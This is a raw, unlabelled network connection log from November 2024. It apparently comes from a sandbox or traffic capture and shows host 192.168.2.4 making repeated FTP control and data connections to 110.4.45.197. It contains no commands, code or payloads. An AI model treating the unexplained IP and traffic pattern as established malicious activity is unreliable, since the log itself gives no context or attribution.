Nov 4, 2024 03:20:06.415797949 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.415807009 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.415875912 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.415893078 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.415931940 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.415978909 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.416039944 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.416049004 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.416420937 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.416461945 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.443255901 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:07.197792053 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:07.202833891 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:07.202941895 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:07.221715927 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:07.274008989 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:08.122735977 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:08.122956991 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:08.127857924 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:08.462013006 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:08.462174892 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:08.467057943 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:08.829900980 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:08.837033033 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:08.842004061 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:09.202497005 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:09.202651024 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:09.207484007 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:09.584986925 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:09.585174084 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:09.590182066 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:09.924295902 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:09.924458027 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:09.929419041 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:11.145114899 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:11.145190954 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:11.145266056 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:11.145378113 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:11.145378113 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:11.145389080 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:11.146478891 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:11.150019884 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:11.154855013 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:11.154943943 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:11.155033112 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:11.160145044 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.077299118 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.077528000 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.082843065 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.082854033 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.082861900 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.082870960 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.082881927 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.082899094 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.082930088 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.082945108 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.082958937 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.082968950 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.082978964 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.082987070 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.082999945 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.083033085 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.083106995 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.083147049 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.088165045 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088210106 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.088289022 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088304996 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088315010 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088323116 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088326931 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.088331938 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088341951 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.088370085 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.088388920 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.088407040 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088418007 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088426113 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088434935 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088443995 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088481903 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.088534117 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.088584900 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.093007088 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.093056917 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.093101978 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.093205929 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.093214989 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.093358040 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.093374014 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.093432903 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.093502045 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.093511105 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.093518972 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.099817038 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.099827051 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.099836111 CET	60580	50013	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.099869967 CET	50013	60580	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.117804050 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:12.850716114 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:12.896286011 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:13.023427010 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:13.028311968 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:13.362054110 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:13.364109993 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:13.369035006 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:13.369129896 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:13.369196892 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:13.373925924 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.312902927 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.313143969 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.318063974 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.318074942 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.318089962 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.318098068 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.318109035 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.318133116 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.318175077 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.318200111 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.318217039 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.318258047 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.318315983 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.318325043 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.318332911 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.318346977 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.318370104 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.318406105 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.322971106 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.322981119 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323024988 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.323039055 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323048115 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323055983 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323064089 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323093891 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323096037 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.323102951 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323117018 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.323132038 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.323148012 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.323268890 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323278904 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323287964 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323319912 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.323349953 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.323389053 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.327929974 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.328030109 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.328068972 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.328100920 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.328118086 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.328162909 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.328191042 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.328201056 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.328270912 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.328586102 CET	54654	50014	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:14.328629017 CET	50014	54654	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:14.365056038 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:15.127583027 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:15.180147886 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:31.413693905 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:31.418762922 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:31.765892029 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:31.788624048 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:31.794037104 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:31.794095993 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:31.794251919 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:31.799323082 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.703986883 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.706279039 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:32.711268902 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.711328030 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.711335897 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.711343050 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.711353064 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.711376905 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.711424112 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.711431026 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:32.711431980 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.711440086 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.711496115 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:32.711503029 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.711559057 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:32.716176987 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716233969 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716268063 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716275930 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716285944 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716286898 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:32.716295004 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:32.716296911 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716341972 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716347933 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:32.716348886 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716389894 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716398954 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716415882 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:32.716429949 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716439009 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.716458082 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:32.716567993 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.721206903 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.721353054 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.721363068 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.721405029 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.721443892 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.721452951 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.722033978 CET	63088	50015	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:32.722157001 CET	50015	63088	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:32.755713940 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:33.504400015 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:33.552584887 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:34.089971066 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:34.094872952 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:34.428487062 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:34.429295063 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:34.434227943 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:34.434293032 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:34.434381962 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:34.439131021 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.348653078 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.356096983 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.361071110 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.361082077 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.361098051 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.361105919 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.361171007 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.361180067 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.361190081 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.361196041 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.361215115 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.361238956 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.361239910 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.361249924 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.361290932 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.366038084 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.366107941 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.366132975 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.366168976 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.366178989 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.366204023 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.366214037 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.366225958 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.366245031 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.366369963 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.366370916 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.366409063 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.366417885 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.366463900 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.366662025 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.367180109 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.368164062 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.371015072 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.371073961 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.371167898 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.371206045 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.371300936 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.371336937 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.371428967 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.371592999 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.371622086 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.373017073 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.373068094 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.373078108 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.376189947 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.376737118 CET	56050	50016	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:35.376818895 CET	50016	56050	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:35.400358915 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:36.141731977 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:36.302604914 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:41.856981039 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:41.862052917 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:42.196470022 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:42.196964979 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:42.201931000 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:42.202016115 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:42.202080965 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:42.206846952 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.125343084 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.125730038 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:43.130729914 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.130742073 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.130752087 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.130769014 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.130779028 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.130815983 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:43.130891085 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.130891085 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:43.130903006 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.130923033 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.130932093 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.130959988 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.130965948 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:43.131225109 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:43.135737896 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.135747910 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.135765076 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.135773897 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.135827065 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.135835886 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.135840893 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.135885000 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:43.135965109 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.135966063 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:43.135989904 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.136017084 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.136028051 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:43.136060953 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.136112928 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.140954971 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141020060 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141030073 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141068935 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141078949 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141088963 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141138077 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141146898 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141163111 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141172886 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141488075 CET	61005	50017	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:43.141602993 CET	50017	61005	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:43.208873987 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:43.943413019 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:44.099498034 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:49.651529074 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:49.656517982 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:49.993482113 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:49.993912935 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:49.998790979 CET	50419	50018	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:49.998975992 CET	50018	50419	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:49.999036074 CET	50012	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.004196882 CET	21	50012	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.259171963 CET	50019	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:50.264075041 CET	21	50019	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:50.264147043 CET	50019	21	192.168.2.4	110.4.45.197
